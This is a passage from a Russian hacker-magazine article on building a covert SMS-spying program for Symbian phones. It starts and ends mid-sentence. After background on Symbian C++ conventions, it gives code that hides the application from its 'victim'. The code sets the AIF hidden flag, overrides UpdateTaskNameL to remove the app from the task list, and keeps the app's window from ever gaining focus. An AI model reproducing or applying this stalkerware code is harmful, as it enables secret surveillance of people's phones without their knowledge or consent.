Смс–шпионаж Тарасов Дмитрий aka Dem@n Хакер, номер #093, стр. 093-132-2 исключения C++, а введена своя метода, направленная на предотвращение утечек памяти. С этой же целью используются двухфазные конструкторы. Объекты принято создавать так: CMySessionObserver* observer=new(ELeave) CMySessionObserver; CleanupStack::PushL(observer); Обрати внимание, что оператор new перегружен и используется с параметром ELeave, этот механизм позволяет аварийно завершить программу и высвободить системные ресурсы в случае, если оператору new не удалось адресовать необходимую память. После создания объекта указатель помещается на связанный с каждым потоком выполнения CleanupStack. Каркас приложения (application framework) состоит из четырех основных классов - Application, Document, AppUI и Container. Все они наследуются от системных классов и служат для, соответственно, создания документа приложения, создания UI, обработки событий, перерисовки приложения и других задач. Советую тебе изучить раздел "Application Framework" в документации. После компиляции и сборки проекта, приложение можно протестировать в эмуляторе. Думаю, как собрать инсталляционный файл для мобилы, ты разберешься :). Теперь будем постепенно добиваться поставленной цели и сделаем наше приложение невидимым. Делаем невидимку Само собой, вряд ли наша система скрытого наблюдения будет представлять какую-то ценность, если после установки в телефон, жертва увидит его в меню или в Task Meneger. Поэтому сейчас мы немного припрячем нашу программу :). Как ты, скорее всего, уже знаешь, при сборке проекта создается aif-файл (application information file), который содержит информацию о нашей сборке. Для того, чтобы придать программе необходимые свойства, нужно модифицировать структуру AIF_DATA, находящуюся в файле OurMegaAppaif.rss, изменив в ней необходимые поля. Нас интересует поле hidden, которому нужно задать значение KAppIsHidden. Выглядит это примерно так: RESOURCE AIF_DATA { app_uid=0x0871aba4; //уникальный идентификатор приложения ... hidden = KAppIsHidden; //прячем иконку } После этого необходимо переопределить виртуальную функцию UpdateTaskNameL, которая отвечает за отображение приложения в тасклисте. Для этого добавляем в заголовочный файл документа строку в объявление класса Document: virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName); После чего в реализацию класса документа добавляем: void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) // конструкция :: играет роль namespace { CAknDocument::UpdateTaskNameL(aWgName); //вызывается системная функция UpdateTaskNameL aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа aWgName->SetSystem(ETrue); } После этого в конструктор класса AppUI вписываем следующие строки: void CXaSMSAppUi::ConstructL() { BaseConstructL(); CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront); ... } Это необходимо для того, чтобы наше приложение никогда не могло получить фокус, даже если жертва найдет в файловой системе исполняемый |